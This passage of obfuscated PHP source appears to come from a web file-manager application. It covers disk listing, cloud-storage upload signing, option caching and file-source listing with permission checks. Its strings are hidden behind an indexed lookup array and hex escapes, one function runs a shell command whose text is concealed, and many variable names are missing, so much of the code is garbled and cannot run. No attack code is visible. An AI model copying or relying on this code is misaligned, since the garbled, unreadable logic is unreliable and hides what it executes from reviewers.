fileTypeList() { $ͻʅ =& $_SERVER[]; $ɽ = $GLOBALS[$ͻʅ[6]][$ͻʅ[1289]]; foreach ($ɽ as $Ț => $ߚ) { $߱LJ = $ͻʅ[1290] . $Ț; $ = LNG($߱LJ); if ($߱LJ != $) { $ɽ[$Ț][$ͻʅ[32]] = $; } } return $ɽ; } public static function diskList($ = true) { $ = $_SERVER[][1291]; if ($) { $ = Cache::get($); if (is_array($)) { return $; } } $ = self::diskListGet(); Cache::set($, $, 60); return $; } public static function diskListGet() { $ =& $_SERVER[]; $̗Հ = array(); if ($GLOBALS[$[6]][$[1292]] == $[1293]) { $Å = $[1294]; for ($ = 0; $ < strlen($Å); $++) { $ = $Å[$] . $[1295]; if (file_exists($)) { $̗Հ[] = $; } } return $̗Հ; } if (!function_exists($[98])) { $̗Հ[] = $[832]; return $̗Հ; } $䧺 = explode($[231], shell_exec($[1296])); array_shift($䧺); array_pop($䧺); $İ = array($[1297], $[1298], $[1299], $[1300], $[1301], $[1302], $[1303], $[1304]); foreach ($䧺 as $) { $Ѣ궗 = preg_split($[1305], $); $ = $Ѣ궗[count($Ѣ궗) - 1]; if (!strstr($Ѣ궗[0], $[1306]) || !$) { continue; } $ϓ = rtrim($, $[8]) . $[8]; if (in_array($ϓ, $İ)) { continue; } $̗Հ[] = $ϓ; } return $̗Հ; } public static function isSameDisk($՚, $) { $ʩ =& $_SERVER[]; if ($GLOBALS[$ʩ[6]][$ʩ[1292]] == $ʩ[1293]) { return strtolower(substr($՚, 0, 1)) == strtolower(substr($, 0, 1)); } $Ǒ = self::diskList(); $ = !1; $ً = !1; sort($Ǒ); $Ǒ = array_reverse($Ǒ); $՚ = rtrim($՚, $ʩ[8]) . $ʩ[8]; $ = rtrim($, $ʩ[8]) . $ʩ[8]; foreach ($Ǒ as $ퟘ) { $¼ = strlen($ퟘ); if (!$ && substr($՚, 0, $¼) == $ퟘ) { $ = $ퟘ; } if (!$ً && substr($, 0, $¼) == $ퟘ) { $ً = $ퟘ; } if ($ && $ً) { break; } } return $ === $ً; } public static function transferType($ѹ, $) { $а =& $_SERVER[]; $ľ = self::driverType($ѹ); $ = self::driverType($); if ($ľ[$а[33]] == $[$а[33]] && $ľ[$а[1307]] == $[$а[1307]]) { return $а[1308]; } if ($ľ[$а[33]] == $а[865] && $[$а[33]] == $а[106]) { return $а[1190]; } if ($ľ[$а[33]] == $а[106] && $[$а[33]] == $а[865]) { return $а[107]; } return $а[1309]; } public static function driverType($ۅ) { $Υ =& $_SERVER[]; $ = str_replace($Υ[1310], $Υ[12], strtolower($ۅ->getType())); if ($ == $Υ[754] || $ == $Υ[1311] || $ == $Υ[1312]) { $ۅ = self::defaultDriverInit(); } else { if ($ == $Υ[1200] || $ == $Υ[1313]) { $ۅ = IO::init($ۅ->pathParse[$Υ[1147]]); } } $ = $ۅ->path; $ = str_replace($Υ[1310], $Υ[12], strtolower($ۅ->getType())); if ($ == $Υ[106]) { return array($Υ[33] => $Υ[106], $Υ[1307] => $Υ[12], $Υ[84] => $, $Υ[95] => $ۅ); } return array($Υ[33] => $Υ[865], $Υ[1307] => $ۅ->pathDriver, $Υ[84] => $, $Υ[95] => $ۅ); } public static function pathDriverType($Й) { return $Й ? self::driverType(IO::init($Й)) : !1; } public static function pathDriverLocal($Ц) { $Ǫ =& $_SERVER[]; $ᢸ = $Ц ? self::driverType(IO::init($Ц)) : !1; return $ᢸ[$Ǫ[33]] == $Ǫ[106] ? !0 : !1; } public static function allowCover($, $ٿǼ = true) { $ˊ =& $_SERVER[]; if (is_string($)) { $ = IO::info($); } if (!$ || $[$ˊ[33]] == $ˊ[75] || $[$ˊ[76]] <= 100) { return !1; } if (isset($[$ˊ[1314]]) || !$[$ˊ[84]]) { return !1; } if (isset($[$ˊ[202]]) && !$[$ˊ[202]]) { return $; } static $Ε = false; if (!$Ε || !$ٿǼ) { $ = self::driverType(IO::init($[$ˊ[84]])); $ɚچ = $[$ˊ[95]]; $Ε = $ˊ[1315]; if ($[$ˊ[33]] == $ˊ[106]) { $Ε = $ˊ[1316]; } if ($[$ˊ[95]] && is_array($[$ˊ[95]]->config)) { $ = $[$ˊ[95]]->config; if (isset($[$ˊ[1317]]) && $[$ˊ[1317]]) { $Ε = $ˊ[1316]; } } } return $Ε == $ˊ[1316] ? !0 : !1; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[][216]); } public function uploadFormData($, $ = 3600) { $үߚ =& $_SERVER[]; $ = $үߚ[199]; $ = $үߚ[232]; $ = $үߚ[1318]; $ͧ = gmdate($үߚ[1319], time() + $); $ϲԽ = (string) time() . $үߚ[71] . (string) (time() + $); $ = array($үߚ[1320] => $ͧ, $үߚ[1321] => array(array($үߚ[1322] => $), array($үߚ[1323] => $this->bucket), array($үߚ[1324], $үߚ[1325], $үߚ[12]), array($үߚ[1326] => $), array($үߚ[1327] => $), array($үߚ[1328] => $this->accessKey), array($үߚ[1329] => $ϲԽ))); $ = json_encode($); $ = hash_hmac($үߚ[232], $ϲԽ, $this->secret); $ת = sha1($); $ = hash_hmac($үߚ[232], $ת, $); $ĸ = array($үߚ[1322] => $, $үߚ[1326] => $, $үߚ[1330] => base64_encode($), $үߚ[1327] => $, $үߚ[1328] => $this->accessKey, $үߚ[1331] => $ϲԽ, $үߚ[1332] => $, $үߚ[182] => $this->getHost()); return $ĸ; } public function fileOutLink($ܵ) { $ =& $_SERVER[]; if (substr($ܵ, 0, 7) == $[1333]) { $ܵ = $[1334] . substr($ܵ, 7); } header($[161] . $ܵ); die; } } goto C덍; bޤ: class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($ = false, $ = '', $۫ = false) { $ =& $_SERVER[]; $̼ = $this->cacheGet($); $Ȑ = $this->optionDefault($); $Ȑ = is_array($Ȑ) ? $Ȑ : array(); if (is_array($̼)) { $̼ = array_merge($Ȑ, $̼); return $ ? isset($̼[$]) ? $̼[$] : null : $̼; } $ = $this->filterWhere(array($[33] => $)); $̼ = $this->where($)->select(); $̼ = array_to_keyvalue($̼, $[94], $[374]); foreach ($̼ as $돉 => $ˬ轅) { if ($۫ || in_array($돉, $this->jsonField)) { $̼[$돉] = json_decode($ˬ轅, !0); } } $this->cacheSet($, $̼); $̼ = array_merge($Ȑ, $̼); return $ ? $̼[$] : $̼; } public function set($О, $ބ = false, $ = '') { $ˊȾ =& $_SERVER[]; $this->cacheRemove($); $ = array(); $ = is_array($О) ? $О : array($О => $ބ); foreach ($ as $ǔ => $٢) { if (is_array($٢)) { $٢ = json_encode_force($٢); } $this->checkLength($٢, !1, $this->tableName . $ˊȾ[4] . $О); $٢ = self::textEncode($٢); $ = array($ˊȾ[33] => $, $ˊȾ[94] => $ǔ, $ˊȾ[374] => $٢); $[] = $this->filterWhere($); } if (!$) { return !0; } $ތ = $this->cacheKey($ˊȾ[400]); CacheLock::lock($ތ); $É = $this->addAll($, array(), !0); CacheLock::unlock($ތ); return $É; } protected function optionDefault($ = '') { return !1; } public function setDeep($, $ = false, $ʤ = '') { $Ě = explode($_SERVER[][10], $); $ = $this->get(); array_set_value($, $, $); $this->set($Ě[0], $[$Ě[0]], $ʤ); } public function remove($µӀ, $ = '') { $̾ =& $_SERVER[]; $this->cacheRemove($); $̡ = $this->filterWhere(array($̾[94] => $µӀ, $̾[33] => $)); if (is_null($µӀ)) { unset($̡[$̾[94]]); } return $this->where($̡)->delete(); } public function cacheSet($ƈ, $ˇż = false) { return Cache::set($this->cacheKey($ƈ), $ˇż); } public function cacheGet($) { return Cache::get($this->cacheKey($)); } public function cacheRemove($) { return Cache::remove($this->cacheKey($)); } protected function filterWhere($) { return $; } protected function cacheKey($) { return $; } } class SourceListModel extends ModelBase { protected $tableName = "\151\x6f\x5f\x73\x6f\165\x72\143\145"; protected $tableMeta = array("\164\x61\x62\154\145\116\141\x6d\x65" => "\151\157\x5f\163\x6f\165\162\143\x65\137\155\145\x74\x61", "\x6d\145\164\141\x46\x69\x65\x6c\144" => "\163\x6f\165\x72\x63\145\x49\104"); protected $dataAuto = array(array("\155\157\x64\x69\x66\171\x54\151\155\x65", "\x74\151\x6d\x65", "\151\x6e\x73\145\x72\164", "\146\x75\x6e\x63\164\151\157\156"), array("\143\162\x65\x61\164\x65\124\151\x6d\145", "\164\x69\155\145", "\x69\x6e\163\x65\162\x74", "\146\x75\x6e\143\x74\151\x6f\x6e"), array("\x76\x69\x65\x77\124\x69\x6d\145", "\164\x69\155\145", "\151\156\163\145\162\x74", "\x66\x75\x6e\x63\164\x69\157\x6e")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($܌) { return $this->listSource(array($_SERVER[][401] => $܌)); } public function typeName($ۿ۷) { static $ = array(self::TYPE_SYSTEM => "\x73\x79\x73\x74\145\x6d", self::TYPE_USER => "\x75\163\145\x72", self::TYPE_GROUP => "\147\x72\157\165\x70"); return $[$ۿ۷ . $_SERVER[][12]]; } public function sourceListInfo($즉ܿ, $ϋ = false) { $ =& $_SERVER[]; $즉ܿ = $즉ܿ ? $즉ܿ : array(); $즉ܿ = array_filter(array_unique($즉ܿ)); if (!$즉ܿ) { return array(); } $惯 = $this->where(array($[402] => array($[7], $즉ܿ)))->select(); $this->_listDataApply($惯, $ϋ); return array_to_keyvalue($惯, $[402]); } public function pathInfoFilter(&$) { $ɕ =& $_SERVER[]; static $ = false; static $Ś = false; static $ = false; if (!$) { $ļ݆ = $ɕ[403]; $ļ݆ .= $ɕ[404]; $ļ݆ .= $ɕ[405]; $ = $ɕ[406]; $ = explode($ɕ[50], $); $ = explode($ɕ[50], $ļ݆); $Ś = array(); foreach ($ as $) { if (in_array($, $)) { continue; } $Ś[] = $; } $ = explode($ɕ[50], $ɕ[407]); } foreach ($ as $) { if (isset($[$])) { $[$] = intval($[$]); } } $[$ɕ[84]] = $ɕ[408] . $[$ɕ[402]] . $ɕ[409]; $[$ɕ[33]] = $[$ɕ[410]] == 1 ? $ɕ[75] : $ɕ[200]; $[$ɕ[411]] = $this->typeName($[$ɕ[411]]); if ($[$ɕ[410]] != 1) { $[$ɕ[174]] = $[$ɕ[412]]; unset($[$ɕ[412]]); } $ = $; if (isset($[$ɕ[413]]) && $[$ɕ[413]][$ɕ[414]] == -1) { $ = $Ś; } $ = array_field_key($, $); return $; } public function listUserFav() { $Ԟ =& $_SERVER[]; $ֹ؎ = Model($Ԟ[415])->listData(); $趰 = array_filter_by_field($ֹ؎, $Ԟ[33], $Ԟ[416]); $趰 = array_to_keyvalue($趰, $Ԟ[12], $Ԟ[84]); if ($趰) { $︫ = $this->listSource(array($Ԟ[417] => array($Ԟ[418], $趰))); } $︫ = array_to_keyvalue($︫[$Ԟ[369]], $Ԟ[402]); foreach ($ֹ؎ as &$ֈ㌪) { $ֈ㌪ = array($Ԟ[419] => $ֈ㌪[$Ԟ[399]], $Ԟ[420] => $ֈ㌪[$Ԟ[32]], $Ԟ[421] => $ֈ㌪[$Ԟ[84]], $Ԟ[422] => $ֈ㌪[$Ԟ[33]], $Ԟ[423] => $ֈ㌪[$Ԟ[201]], $Ԟ[424] => $ֈ㌪[$Ԟ[85]]); if ($ֈ㌪[$Ԟ[33]] == $Ԟ[416] && $︫[$ֈ㌪[$Ԟ[84]]]) { $ֈ㌪[$Ԟ[87]] = $︫[$ֈ㌪[$Ԟ[84]]]; } } unset($ֈ㌪); return $ֹ؎; } public function listUserTag($ٮ) { $ՙ =& $_SERVER[]; if ($ٮ && !is_array($ٮ)) { $ٮ = array($ٮ); } $ = Model($ՙ[425])->listData(); $ٻ = array(); $藸 = array(); foreach ($ as $) { $Β = $[$ՙ[84]]; if (!$Β) { continue; } if (!isset($藸[$Β])) { $藸[$Β] = array(); } $藸[$Β][] = $[$ՙ[426]]; $ٻ[$[$ՙ[84]]] = $; } $͝Ӽ = array(); $ڨ = array(); $ = array(); foreach ($藸 as $¨ => $) { $繙 = !0; if (!$ٮ) { $͝Ӽ[] = $¨; continue; } foreach ($ٮ as $) { if (!in_array($, $)) { $繙 = !1; break; } } if (!$繙) { continue; } if (!is_numeric($¨)) { $̩ = $ٻ[$¨]; $ňѩ = array($ՙ[32] => $̩[$ՙ[32]], $ՙ[84] => $̩[$ՙ[84]], $ՙ[33] => $̩[$ՙ[33]], $ՙ[87] => array($ՙ[427] => 1), $ՙ[202] => !0); if ($̩[$ՙ[33]] == $ՙ[200]) { $[] = $ňѩ; } if ($̩[$ՙ[33]] == $ՙ[75]) { $ڨ[] = $ňѩ; } continue; } $͝Ӽ[] = $¨; } if ($͝Ӽ) { $ɫ = $this->listSource(array($ՙ[417] => array($ՙ[418], $͝Ӽ))); } $ɫ = $ɫ ? $ɫ : array($ՙ[82] => array(), $ՙ[83] => array()); $ɫ[$ՙ[82]] = array_merge($ɫ[$ՙ[82]], $ڨ); $ɫ[$ՙ[83]] = array_merge($ɫ[$ՙ[83]], $); if (isset($ɫ[$ՙ[366]]) && count($͝Ӽ) == $ɫ[$ՙ[366]][$ՙ[367]]) { return $ɫ; } $Ǎȇ = array(); $ = array_to_keyvalue($ɫ[$ՙ[82]], $ՙ[12], $ՙ[402]); $Á = array_to_keyvalue($ɫ[$ՙ[83]], $ՙ[12], $ՙ[402]); $ = array_merge($Á, $); foreach ($͝Ӽ as $Β) { if (!in_array($Β, $)) { $Ǎȇ[] = $Β; } } if ($Ǎȇ) { Model($ՙ[428])->removeBySource($Ǎȇ); } return $ɫ; } public function listUserRecycle() { $ů =& $_SERVER[]; $ՖĜ = Model($ů[429])->listData(); if (!$ՖĜ) { return array(); } $樺 = array($ů[417] => array($ů[418], $ՖĜ), $ů[430] => 1); return $this->listSource($樺); } public function listSource($, $ = 3000, $ = false) { $̲ =& $_SERVER[]; if (!isset($[$̲[431]])) { $[$̲[431]] = 0; } if (isset($[$̲[432]]) && $[$̲[432]] == $̲[198]) { $[$̲[412]] = array($̲[331], $̲[433]); } $ = $̲[434]; $ = $this->field($)->_makeOrder()->where($)->selectPage($); $this->_listPageCheck($, $, $); $this->_listDataApply($[$̲[369]], $); $this->_listMake($); return $; } private function _listPageCheck(&$ӌ, $, $Ǘ) { $ =& $_SERVER[]; if (!is_array($ӌ[$[366]])) { return; } $ = $ӌ[$[366]]; if ($[$[368]] <= 1) { return; } if ($[$[367]] >= 100000) { return; } if (Model($[435])->get($[436]) != $[437]) { return; } $ = str_replace(array($[53], $[342], $[231]), $[12], $); $ = $[438] . str_replace($[50], $[439], $) . $[440]; $Έ = $[441]; $Έ = $Έ . $[442]; $߲ݲ = $[$[363]] * ($[$[353]] - 1) . $[50] . $[$[363]]; $ = $this->_makeOrder(!0); $̦ = $[438] . str_replace($[50], $[439], $[0]); if (strpos($̦, $[443])) { $̦ = str_replace($[443], $[444], $̦); } else { $̦ .= $[445] . $[1]; } $ = array(); foreach ($Ǘ as $ǂ => $) { $[$[438] . $ǂ] = $; } $this->alias($[446])->field($)->limit($߲ݲ)->order($̦); $ = $this->join($Έ)->where($)->select(); if ($) { $ӌ[$[369]] = $; } } protected function _makeOrder($̓ = false) { $ =& $_SERVER[]; $æ = Model($[447])->get($[448]); $ = Model($[447])->get($[449]); $ތ = array($[450] => $[451], $[452] => $[453]); $ = array($[32] => $[32], $[76] => $[76], $[174] => $[412], $[454] => $[454], $[455] => $[456], $[201] => $[201], $[85] => $[85]); $蝸 = Input::get($[457], $[7], $æ, array_keys($)); $ = Input::get($[458], $[7], $, array_keys($ތ)); if (!in_array($蝸, array_keys($))) { $蝸 = $[32]; } if (!in_array($, array_keys($ތ))) { $蝸 = $[450]; } if ($蝸 == $[32]) { } $ = $[459] . $[$蝸] . $[53] . $ތ[$]; $ = rtrim(trim($), $[50]); if ($̓) { return array($, $ތ[$]); } return $this->order($); } protected function _listDataApplyItem($ם, $ǧ = false) { $ = array($ם); $this->_listDataApply($, $ǧ); return $[0]; } protected function _listDataApply(&$ܻ, $ҫ = false) { $ =& $_SERVER[]; if (!$ܻ) { $ܻ = array(); return; } $Ș = array_to_keyvalue($ܻ, $[12], $[402]); $Ș = array_unique($Ș); $this->_listSourceCache($ܻ); if (!$ҫ) { $this->_listAppendMeta($ܻ, $Ș); $this->_listAppendFileMeta($ܻ, $Ș); $this->_listAppendChildren($ܻ, $Ș); } $this->_listAppendPath($ܻ); $this->_listAppendAuth($ܻ); $this->_listAppendSourceInfo($ܻ, $Ș); $this->_listAppendUser($ܻ); $this->_listFilterInfo($ܻ, $ҫ); $this->_listAppendAuthSecret($ܻ); } protected function _listSourceCache($) { $ =& $_SERVER[]; foreach ($ as $ϼ) { self::$cacheSourceInfo[$[460] . $ϼ[$[402]]] = $ϼ; } } protected function _listFilterInfo(&$Ҭ, $ = false) { $ =& $_SERVER[]; foreach ($Ҭ as &$) { $ = $this->pathInfoFilter($); self::$cachePathInfo[$[461] . intval($) . $[386] . $[$[402]]] = $; } unset($); } protected function _listMake(&$Ĥ) { $Ư =& $_SERVER[]; $Ĥ[$Ư[82]] = array(); $Ĥ[$Ư[83]] = array(); foreach ($Ĥ[$Ư[369]] as $) { $ڈЅ = $[$Ư[410]] == 1 ? $Ư[82] : $Ư[83]; $Ĥ[$ڈЅ][] = $; } unset($Ĥ[$Ư[369]]); } protected function _listAppendMeta(&$, $) { $ =& $_SERVER[]; $֝ = array($[417] => array($[418], $)); $ = Model($[462])->field($[463])->where($֝)->select(); if (!$) { return; } $ = array($[464], $[465], $[444]); $থ = array(); foreach ($ as $ȅ) { if (!isset($থ[$ȅ[$[402]]])) { $থ[$ȅ[$[402]]] = array(); } if (in_array($ȅ[$[94]], $)) { continue; } $থ[$ȅ[$[402]]][$ȅ[$[94]]] = $ȅ[$[374]]; } foreach ($ as &$뭈) { $뭈[$[466]] = !1; if (isset($থ[$뭈[$[402]]])) { $뭈[$[466]] = $থ[$뭈[$[402]]]; } if ($this->fileIsLock($뭈) && $뭈[$[413]]) { $ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $뭈[$[413]][$[414]] = AuthModel::authDisable($뭈[$[413]][$[414]], $); $뭈[$[413]][$[467]][$[413]] = $뭈[$[413]][$[414]]; } } unset($뭈); } protected function _listAppendFileMeta(&$, $ډ) { $Ύ =& $_SERVER[]; $ƨ = array_to_keyvalue($, $Ύ[12], $Ύ[468]); $ƨ = array_filter(array_unique($ƨ)); if (!$ƨ) { return; } $ = array($Ύ[469] => array($Ύ[418], $ƨ)); $˙ֺ = $Ύ[470]; $ð = Model($Ύ[471])->field($˙ֺ)->where($)->select(); $ð = array_to_keyvalue($ð, $Ύ[468]); $ꇍ = Model($Ύ[472])->field($Ύ[473])->where($)->select(); $ꇍ = $ꇍ ? $ꇍ : array(); $ = array(); foreach ($ꇍ as $) { if (!isset($[$[$Ύ[468]]])) { $[$[$Ύ[468]]] = array(); } $[$[$Ύ[468]]][$[$Ύ[94]]] = $[$Ύ[374]]; } foreach ($ as &$Lj) { $ = $Lj[$Ύ[468]]; if (!$ || !is_array($ð[$])) { continue; } $࠲ = $ð[$]; $࠲[$Ύ[76]] = $Lj[$Ύ[76]]; $࠲[$Ύ[32]] = $Lj[$Ύ[32]]; if (!isset(self::$cacheFileInfo[$Ύ[474] . $])) { self::$cacheFileInfo[$Ύ[474] . $] = array_merge(array(), $࠲); } unset($ð[$][$Ύ[84]]); $ڄ = is_array($[$]) ? $[$] : array(); $Lj[$Ύ[170]] = array_merge($ڄ, $ð[$]); if (isset($Lj[$Ύ[170]][$Ύ[169]])) { $Lj[$Ύ[169]] = json_decode($Lj[$Ύ[170]][$Ύ[169]], !0); unset($Lj[$Ύ[170]][$Ύ[169]]); } } unset($Lj); } protected function _listAppendSourceInfo(&$, $) { $ޮ =& $_SERVER[]; $ = Model($ޮ[475])->listData(); $ = Model($ޮ[425])->listData(); $̻ = Model($ޮ[415])->listData(); $ŗ = Model($ޮ[476])->listSimple(); $ՙ = array_to_keyvalue($, $ޮ[399]); $ҳ = array_to_keyvalue_group($, $ޮ[84], $ޮ[426]); $ˈ = array_to_keyvalue($̻, $ޮ[84]); $ = array_to_keyvalue_group($ŗ, $ޮ[402]); foreach ($ as &$͕) { $͕[$ޮ[87]] = array($ޮ[477] => 0, $ޮ[478] => 0, $ޮ[479] => 0); if (isset($ˈ[$͕[$ޮ[402]]])) { $͕[$ޮ[87]][$ޮ[480]] = 1; $͕[$ޮ[87]][$ޮ[481]] = $ˈ[$͕[$ޮ[402]]][$ޮ[32]]; } if ($ҳ && $ՙ && isset($ҳ[$͕[$ޮ[402]]])) { $͕[$ޮ[87]][$ޮ[482]] = array(); foreach ($ҳ[$͕[$ޮ[402]]] as $) { $ݶ = $ՙ[$]; $͕[$ޮ[87]][$ޮ[482]][] = array($ޮ[483] => $ݶ[$ޮ[399]], $ޮ[420] => $ݶ[$ޮ[32]], $ޮ[484] => $ݶ[$ޮ[485]]); } } if ($ && isset($[$͕[$ޮ[402]]])) { $͕[$ޮ[87]][$ޮ[486]] = array(); foreach ($[$͕[$ޮ[402]]] as $ʩ) { $Ѿ = $ޮ[487]; if ($ʩ[$ޮ[488]] == $ޮ[88]) { $Ѿ .= $ޮ[489]; } $͕[$ޮ[87]][$ޮ[486]] = array_field_key($ʩ, explode($ޮ[50], $Ѿ)); } } } unset($͕); return $; } protected function _listAppendChildren(&$ˀ, $ޚ) { $ =& $_SERVER[]; $Đ = array(); $ܶ = array($[207] => 0, $[208] => 0); foreach ($ˀ as &$ʹ) { if (!$ʹ[$[410]]) { continue; } $Đ[] = $ʹ[$[402]]; } unset($ʹ); if (!$Đ) { return; } $η = array($[432] => array($[7], $Đ), $[431] => 0); $ʏ = array($[432], $[410], $[490] => $[491]); $׳ = $this->field($ʏ)->where($η)->group($[492])->select(); $É = array(); foreach ($׳ as $ѩ) { $̱ = $ѩ[$[432]]; $؇ = $ѩ[$[410]] == $[88] ? $[208] : $[207]; if (!isset($É[$̱])) { $É[$̱] = array($[207] => 0, $[208] => 0); } $É[$̱][$؇] += $ѩ[$[491]]; } foreach ($ˀ as &$ʹ) { if (!$ʹ[$[410]]) { continue; } $ = is_array($É[$ʹ[$[402]]]) ? $É[$ʹ[$[402]]] : $ܶ; $ʹ[$[208]] = $[$[208]]; $ʹ[$[207]] = $[$[207]]; unset($ʹ[$[412]]); } unset($ʹ); } protected function _listAppendAuth(&$ۉ) { $䓔 =& $_SERVER[]; $ = array(); foreach ($ۉ as $) { if ($[$䓔[411]] == self::TYPE_GROUP) { $[] = $[$䓔[402]]; } } if (!$) { return; } $ = array_to_keyvalue($ۉ, $䓔[402]); $͎ = Model($䓔[493])->getSourceList($, $); $ = $GLOBALS[$䓔[494]] == 1; foreach ($ۉ as $Ц֦ => &$) { $[$䓔[413]] = $͎[$[$䓔[402]]]; if (!$[$䓔[413]] && $[$䓔[411]] == self::TYPE_GROUP) { $[$䓔[413]] = Action($䓔[495])->pathGroupAuthMake($[$䓔[496]]); if (!$[$䓔[413]] && !$) { $[$䓔[203]] = !1; $[$䓔[202]] = !1; } } if ($[$䓔[413]]) { $[$䓔[203]] = AuthModel::authCheckEdit($[$䓔[413]][$䓔[414]]); $[$䓔[202]] = AuthModel::authCheckView($[$䓔[413]][$䓔[414]]); } $this->groupPathDisplay($); } unset($); } public function _listAppendAuthSecret(&$ɒ) { $ =& $_SERVER[]; if (Model($[435])->get($[497]) != $[88]) { return; } static $ = false; if (!$) { $ǧ = Model($[498]); $ޚ = Model($[499]); $ = $ޚ->listData(); $ = array_to_keyvalue($, $[402]); $̸ = json_decode(Model($[435])->get($[500]), !0); $̸ = array_to_keyvalue($̸, $[399]); foreach ($ as $둝֥ => $ ) { $ = $̸[$ [$[501]]]; if (!$) { $ޚ->remove($ [$[399]]); unset($[$둝֥]); continue; } $ƥ = $ǧ->listData($[$[413]]); if (!$ƥ) { $ޚ->remove($ [$[399]]); unset($[$둝֥]); continue; } $ [$[413]] = $ƥ; $ [$[502]] = $; $ [$[503]] = Model($[504])->getInfoSimpleOuter($ [$[454]]); $[$둝֥] = $ ; } } $՟ = USER_ID; $݊ = array(); $ = $this->_listAppendPath($݊, !0); foreach ($ɒ as $둝֥ => &$ ) { if (!is_array($ [$[413]])) { continue; } if ($ [$[411]] != $[505]) { continue; } if (isset($[$ [$[402]]])) { $ޠ = $[$ [$[402]]]; if (!is_array($ [$[466]])) { $ [$[466]] = array(); } $ [$[466]][$[506]] = $ޠ[$[501]]; $ [$[413]][$[507]] = $ޠ; $ [$[413]][$[508]] = $ [$[509]]; $ [$[413]][$[510]] = $[88]; if ($ޠ[$[454]] != $՟) { $ [$[413]][$[414]] = $ [$[413]][$[414]] & $ޠ[$[413]][$[413]]; } continue; } $އ = $this->parentLevelArray($ [$[511]]); $ߕ = array_reverse($އ); foreach ($ߕ as $ => $玜) { if (!isset($[$玜])) { continue; } $ޠ = $[$玜]; $ [$[413]][$[507]] = $ޠ; if ($ޠ[$[454]] != $՟) { $ [$[413]][$[414]] = $ [$[413]][$[414]] & $ޠ[$[413]][$[413]]; } $Ԧ = $[12]; $ = count($އ) - $; for ($ϑ = 0; $ϑ < $; $ϑ++) { if (!isset($[$އ[$ϑ]])) { $Ԧ = $[12]; break; } $Ԧ = $Ԧ . rtrim($[$އ[$ϑ]], $[8]) . $[8]; } $ [$[413]][$[508]] = rtrim($Ԧ, $[8]) . $[8]; break; } } unset($ ); } public function groupPathDisplay(&$Ƀ) { $բ =& $_SERVER[]; if ($Ƀ[$բ[411]] != self::TYPE_GROUP) { return; } $ = Model($բ[512])->getInfo($Ƀ[$բ[496]]); $ę = $this->parentLevelArray($[$բ[511]]); $ϐ = $բ[12]; foreach ($ę as $Ѕ) { $ = Model($բ[512])->getInfo($Ѕ); $ϐ .= $[$բ[87]][$բ[402]] . $բ[50]; } $Ƀ[$բ[513]] = $[$բ[432]]; $Ƀ[$բ[514]] = $[$բ[511]]; $Ƀ[$բ[515]] = $[$բ[516]]; $Ƀ[$բ[517]] = $ϐ . $[$բ[87]][$բ[402]]; } protected function _listAppendPath(&$, $ִ = false) { $ʥʞ =& $_SERVER[]; static $ʮ = array(); $ = array(); $ō = array(); if ($ִ) { return $ʮ; } foreach ($ as &$ǎ) { $ҕ = $ǎ[$ʥʞ[402]]; if ($ǎ[$ʥʞ[410]] == $ʥʞ[88] && $ǎ[$ʥʞ[432]] != 0) { $ʮ[$ҕ] = $ǎ[$ʥʞ[32]]; } if ($ǎ[$ʥʞ[410]] == $ʥʞ[88] && $ǎ[$ʥʞ[432]] == 0 && !isset($ʮ[$ҕ])) { $ʮ[$ҕ] = $this->_listAppendPathRoot($ǎ, array()); } if (isset($ō[$ǎ[$ʥʞ[511]]])) { continue; } $ō[$ǎ[$ʥʞ[511]]] = !0; $ = $this->parentLevelArray($ǎ[$ʥʞ[511]]); foreach ($ as $ => $ٚ) { if (isset($ʮ[$ٚ])) { continue; } if ($ == 0) { $ʮ[$ٚ] = $this->_listAppendPathRoot($ǎ, $); } if ($ != 0) { $[] = $ٚ; } } } unset($ǎ); $ = array_unique($); if (count($) > 0) { $ǷƢ = array($ʥʞ[417] => array($ʥʞ[418], $)); if (count($) == 1) { $Ɏ = $this->sourceInfo($[0]); $͆顏 = is_array($Ɏ) ? array($Ɏ) : !1; } else { $͆顏 = $this->field($ʥʞ[518])->where($ǷƢ)->select(); } if (!$͆顏) { $͆顏 = array(); } foreach ($͆顏 as $ߎ) { $ʮ[$ߎ[$ʥʞ[402]]] = $ߎ[$ʥʞ[32]]; } } $Ԋ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = array(); foreach ($ as &$ǎ) { $ = $ǎ[$ʥʞ[511]]; $ = $ʥʞ[12]; if (isset($[$])) { $ = $[$]; } else { $ = $this->parentLevelArray($ǎ[$ʥʞ[511]]); foreach ($ as $ => $ٚ) { if (isset($ʮ[$ٚ])) { $ .= $ʮ[$ٚ] . $ʥʞ[8]; } } $[$] = $; } $ .= $ǎ[$ʥʞ[32]]; if ($ǎ[$ʥʞ[410]] == $ʥʞ[88]) { $ .= $ʥʞ[8]; } $ǎ[$ʥʞ[509]] = str_replace($ʥʞ[519], $ʥʞ[8], $); if ($ǎ[$ʥʞ[432]] == $ʥʞ[198]) { $ǎ[$ʥʞ[32]] = trim($ʮ[$ǎ[$ʥʞ[402]]], $ʥʞ[8]); $ǎ[$ʥʞ[509]] = $ǎ[$ʥʞ[32]] . $ʥʞ[8]; } if (intval($ǎ[$ʥʞ[411]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($ǎ, $, $Ԋ); } } unset($ǎ); return $; } private function _listAppendPathRecycle(&$, $, $ԥ) { $Ǧ =& $_SERVER[]; if (!in_array($ԥ, $) && $[$Ǧ[402]] != $ԥ) { return; } $ = explode($Ǧ[8], trim($[$Ǧ[509]], $Ǧ[8])); $¡ = implode($Ǧ[8], array_slice($, 2)); $[$Ǧ[509]] = $Ǧ[8] . LNG($Ǧ[520]) . $Ǧ[8] . ltrim($¡, $Ǧ[8]); $[$Ǧ[511]] = $Ǧ[521] . implode($Ǧ[50], array_slice($, 1)) . $Ǧ[50]; if ($[$Ǧ[402]] == $ԥ) { $[$Ǧ[511]] = $Ǧ[521]; $[$Ǧ[432]] = $Ǧ[198]; $[$Ǧ[32]] = LNG($Ǧ[520]); } $[$Ǧ[522]] = $Ǧ[523]; } protected function _listAppendPathRoot(&$, $Ф) { $ס =& $_SERVER[]; static $ą = false; $ = $ס[12]; if ($[$ס[411]] == self::TYPE_USER) { if ($[$ס[496]] == USER_ID) { $ = LNG($ס[524]); if ($ą === !1) { $ = 